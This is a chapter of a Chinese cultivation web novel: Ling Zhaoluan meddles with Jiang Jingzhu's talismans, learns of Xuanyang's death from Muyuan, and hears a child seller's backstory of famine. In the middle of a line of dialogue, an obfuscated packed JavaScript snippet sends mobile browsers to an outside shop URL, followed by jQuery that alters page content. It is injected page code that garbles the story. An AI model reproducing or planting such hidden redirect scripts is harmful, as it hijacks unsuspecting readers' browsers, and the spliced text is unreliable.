24. 黄粱梦

作品:《被抛弃后师兄摆烂了

    凌昭栾在魔教偷鸡摸狗的事没少做,看江惊竹已晕的不省人事,也就不再人模狗样,将他身上的符箓全给掏了出来。


    这不掏不知道,凌昭栾掏出一堆五花八门的符箓,她挑出不能用的全给撕了,在偷几张自己备用剩下几张扔回去。


    随后凌昭栾掏出一张符纸自顾自画了起来。


    “你不要命了?”天道系统叫道。


    凌昭栾早就对他动不动诈尸的情况见怪不怪了,捡起地上撕成片的符箓看了眼又继续画。她下笔很干脆,仅是只见一眼的符箓也凭着感觉画出来,最后一笔落下灵魂都沉重不少。


    其余符箓她又有符箓给烧了,凌昭栾只能帮到这,其他全靠江惊竹严于利己。


    凌昭栾知道成了,心情却没能跟着高兴多少。她知道凡事有了一次便免不了二次,就如同江惊竹,早在决心画下第一张符箓时就明白了日后命运。


    “劝别人有一套,自己的身体随便霍霍了,凌昭栾就你简直是个死脑子!”


    脑子的天道系统声音越发尖锐,破天荒唤起凌昭栾当年在大雪里想把自己脑子砍下来的冲动,“我自己的身体自然自己做主,就算死了也是我自愿,难不成你还跟着我一起死不成?”


    天道系统一时又不知该说什么,气愤道:“我就不该是关心你了?”


    这话骗鬼去吧,凌昭栾自知也就儿时爹娘毫无保留关爱她过,只不过短的眨眼便过,后来也就不奢望这些遥不可及的东西了,“自己扪心自问就行,真正关心我都不会说出来,不然这符箓你就可以帮我画了。”


    天道系统被她一番话弄得火冒三丈,“怎么,你给我搞出一双手脚?”


    “没那么大能耐。”凌昭栾催动符箓,身体跟着轻盈,符箓的使用让她全身酸痛起来,整个人从一张桌子上摔了下去。


    五感逐渐恢复,凌昭栾起先没听到声音,怀疑符箓真把自己耳朵弄坏了。身上还是痛的,她躺在地上缓了会儿,双手撑着起身。


    一声鸟叫让凌昭栾停住了动作,这才发现上龚过分宁静。


    紧接着小贩马车路人闲谈声才井然有序流进,凌昭栾往旁边一瞧,“坐着干什么?”


    小福本以为天降仙子,不想这位仙子崴了脚,他吓个半死才看清来人,“姐姐?”


    凌昭栾站直,言简意赅,“我来接你走的。”


    “啊?姐姐一个人吗?”小福安安分分在客栈过了一夜哪里知道发生什么,被凌昭栾拉着便要走。


    “等等……”


    小福拉住她,与此同时门开了,慕缘那张脸该死不死出现在门后。


    “你怎么在这?”两人异口同声开口。


    凌昭栾立即意识到江惊竹又把她骗了,也不急着走拖个凳子坐下,“玄阳真人呢?”


    慕缘深吸一口气,声音发抖,“死了。”


    虽说早有预料,但沈端明与一个看不出深浅的魔修竟能对付一个仙山长老,凌昭栾暗道不妙,“那你还不赶快回仙门?真人尸骨可安好?”


    慕缘艰难地将事讲了个大概,“玄阳真人尸身被魔修附体,血同匣在宗主手上,宗主又在闭关……对了江师弟如何了!”


    凌昭栾心想管他什么事,人还在草堆里好睡着呢,随口一说:“接二连三使用仙门禁术人已经……”


    哐当一声杯子碎了。


    她话风一转,“累的睡着了,大概醒了会先回宗门。”


    慕缘内心被一句话弄得七上八下。


    “师兄,你是真傻假傻,”凌昭栾知道了个大概,也没好心情,“玄阳那老头地位在仙门何其高,你是要让一个顶着他外壳的魔修进仙门?”


    慕缘脸色铁青,“可小福在这,他只是个凡人,况且仙门怎么可能看不出来……”


    “你以为他们能明目张胆顶风作案?”


    沈端明有恃无恐,也是算准了慕缘脑回路短。


    慕缘急了,“走吗,御剑?”


    凌昭栾摇头,“不会,我练气,你忘了我刚入门?”


    慕缘惊掉下巴,“真人是怎么放心下的!”


    他们来上龚是靠张宣师兄的法器,御剑要筑基以上。同期的魔修早早飞至元婴,凌昭栾多年还在原地踏步,上仙门前一天才步入筑基,天道系统没少拿这事说。


    凌昭栾:“我看仙门也没想到几个人还解决不了这事。”


    她起身整理衣摆,摆出一副恭敬样子,“我先不急着回去,上龚的事还没解决,慕缘师兄先回去吧,凡事慎行,不要当面揭穿。”


    这么一看她更像是位前辈。


    岂料他与江惊竹有得一拼,“既然上龚之事未解决,我自当是随师妹一同。”


    果然不是一类人玩不到一处。


    不过慕缘倒是比江惊竹和她都强上不少,凌昭栾大可当个“凡人”静观其变。


    晌午江惊竹顶着个大红印子醒了,他翻身坐起发觉自己躺在木床板上,旁边还有一股烧焦味。


    少年发带与长发一同落到肩上,脸上不再有那份过于精心的伪装,出尘的有了点仙人之姿。


    江惊竹微低下头扯起发带简单扎了个高马尾,他下意识又扬起唇笑起来,诡异的像个假人。


    看来人装傻太久也真会傻。


    江惊竹收敛起表情,往身上一摸压箱底的宝贝都没了,表情有一瞬间裂开。


    再见故人,江惊竹时常想,定然是凌昭栾跟那群魔修学坏了。


    他正要画符,木墙穿入个人,清心君劈头盖脸就骂,“不争气的小鬼。”


    “前辈?”江惊竹眨了眨眼睛,拱手,“多年不见了,不知前辈诈尸何事?”


    “我的剑呢?”


    江惊竹很是干脆回道:“送人了。”


    “你倒是有脸说出口,”清心君眼神犀利看向他,“为何?”


    江惊竹:“那是把魔剑,前辈你我心知肚明。”


    “怎么,那姑娘就该入魔?”


    这话一下刺痛江惊竹,年少无知又身无分文,纯粹将自以为好的东西送了人,不想弄巧成拙。


    清心君:“你觉得她是误入歧途吗?魔道就是错的了?”


    如果当年江惊竹没把剑给她,现在的凌昭栾该是修仙者还是魔修,或者什么都不是,只是个普普通通的凡人?


    “不,”江惊竹摇头,“只是我个人因果,晚辈与魔修不共戴天,而她……”


    少年停顿了一下,抱着前所未有的决心,“我会斩断她的心魔。”


    清心君会意的笑了,“轩冰剑当年一半认你为主,这也未必不可,只是你压在练气这么久,总该筑基了。”


    “既然前辈都这么说了,”江惊竹表情松弛下去,一副果然什么都瞒不住的表情,“剩下的就告诉晚辈吧。”


    小桥村与平安村的阵法经历一遭早毁的不成样子,阵法一破就跟打破瓶子似的,里头魔气一溜烟飘没了。


    慕缘看着这光秃秃的平安村心里发怵,“这阵法难不成最开始是为了捆住魔气的?”


    这句话瞬间点醒凌昭栾,他们来到最后的溪水村,发觉这里跟前面村子大差不差,像是个用阵法强行封住装满魔气的瓶子。


    凌昭栾心里没底,她问:“当初是哪位长老组织的来上龚?”


    慕缘想了想,脸色微变,“是玄阳真人安排的……”


    这就对了,难怪仙门偏偏就派他们几个三脚猫功夫的来,原来压根不当回事。凌昭栾忽然又理解了那位魔修,“如果我被莫名其妙安上这么大个罪名大概也会生气。”


    “怎么会这样。”慕缘步伐不稳,磕磕绊绊将溪水村的阵法解开,果然原本弥漫的魔气瞬间同水雾挥发。


    凌昭栾:“没事,没准只是玄阳真人一人之举呢?不如回去后好好问问那位逃出生天的师兄。”


    慕缘疲惫“嗯”了声,“上龚主城会不会也有……”


    他有点说不下去,还是强忍着开口,“上龚这么大,阵眼都找不着。”


    “你们说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400976|196919||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阵吗?”


    凌昭栾与他齐齐回头,一下子愣在原地,是那位长着硬胡茬卖小孩的大叔,手上提着篮子站在村门口。


    他眼神有些麻木,将俩人上下扫了扫,自嘲道:“原来上龚还有活人。”


    凌昭栾立即反应过来,“大叔,你方才话什么意思?”


    大叔往前走没搭理他们,直到凌昭栾跟了一路他才不耐烦道:“话里的意思,小姑娘听不懂人话吗?”


    凌昭栾心平气和,“那被我抓了的小贩也是死人咯。”


    大叔:“……”


    他这才看向凌昭栾,发现这姑娘模样清秀讨喜,可惜是个表里不一。


    “生个人的皮囊其实人鬼不是,这上龚就没几个人活着。”


    大叔在山脚下一处木牌前停下,取出篮子里的黄纸和香,还有一小碟生的肥肉。


    凌昭栾问:“这下面是什么人?”


    小贩坐在地上拿起木棍钻火,上龚地处阴湿,几个木棍硬是连树皮磨没了都生不出一丁点火星子。


    最后还是慕缘用点火术帮忙给点着了,大叔将黄纸烧着又将香烧好。


    凌昭栾:“你在祭拜谁?”


    “上龚死了的所有人,”大叔眼里终于有了丝动容,“除了那些权贵们。”


    “那也给我一根吧。”


    慕缘吸了吸鼻子,“我也来一根。”


    大叔看着手里三根香还是忍痛割爱给了他们,“年轻人果然是经不起大风大浪。”


    本以为他们意思意思,不想凌昭栾把香拿到手上,便直挺挺往下跪,慕缘紧随其后。


    凌昭栾拜了拜,“娘……我一切安好。”


    “爹的尸骨我也会寻回的。”


    慕缘:“……”他该说什么?


    大叔怀疑自己年老耳朵不中用,“姑娘你怕不是拜错了,这是我爹娘。”


    凌昭栾转过头,一下看出对方心虚,“大叔你不是说这葬着上龚的人吗?”


    大叔反倒爽朗大笑,“你还当真了不成,上龚尸骨我若是能有通天本身全搬过来还带在这做什么?”


    凌昭栾将香插上,迎上大叔的目光,强扯出笑,“我还以为大叔是想守着这上龚,不如告诉我们一切,我们帮你出去。”


    “不用,”大叔提起篮子,“你说的没错,我守在上龚哪也不去了。”


    “上龚早在五年前就死了。”


    大叔原名吴顺。少小离家闯荡天涯意外成了散修,可惜那年仙门好巧不巧不收野路子,把吴顺拒之门外。


    山不就我,我也不就山。吴顺狠狠唾骂了万鹤门一顿,又被一群邪门歪道拉帮结派,自创门派。


    “就叫群雄派!”


    他们信誓旦旦在一间破木屋起义,又被正道修士打得一哄而散,成了同道修士间的笑话。


    吴顺至此没了做名留千史的侠士狗胆,灰溜溜跑去浪迹天涯。待到三十而立才终于想起来回家路,他一事无成,一路风餐露宿,饿得成了个乞丐。不懂那些名门正派的术法,不懂符箓,连剑都拿不稳,修仙反倒成了最无用的东西。


    等到辟谷,吴顺才终于拿出攒下来的铜钱送了一封家书回去。他惶恐不安奔波几天,再次步入故乡,只有一片荒芜。


    这已经是饥荒持续后的一年。


    吴顺飞快的奔回家,爹娘躺在床上已经无声息走了,而桌上摆着碗馊掉的米饭和一封家书。


    “赈灾粮呢!”


    “都被人私吞了!”


    “求求你帮我把这孩子卖了吧!”老妇人跪在地上用枯槁的手扯着吴顺的衣角,“只有这样……我们才都能活下去。”


    妇人饿得连路都走不动了,一声声央求着。


    吴顺站在原地看着那群孩子声嘶力竭哭叫,那些孩子也不知哪里来的力气抓着村口大树死活不松手。


    他叹了口气,眼神跟着麻木,拿着麻绳将他们手脚都捆起来。


    一介散修收起黄粱梦,成了个卖小孩的贩子。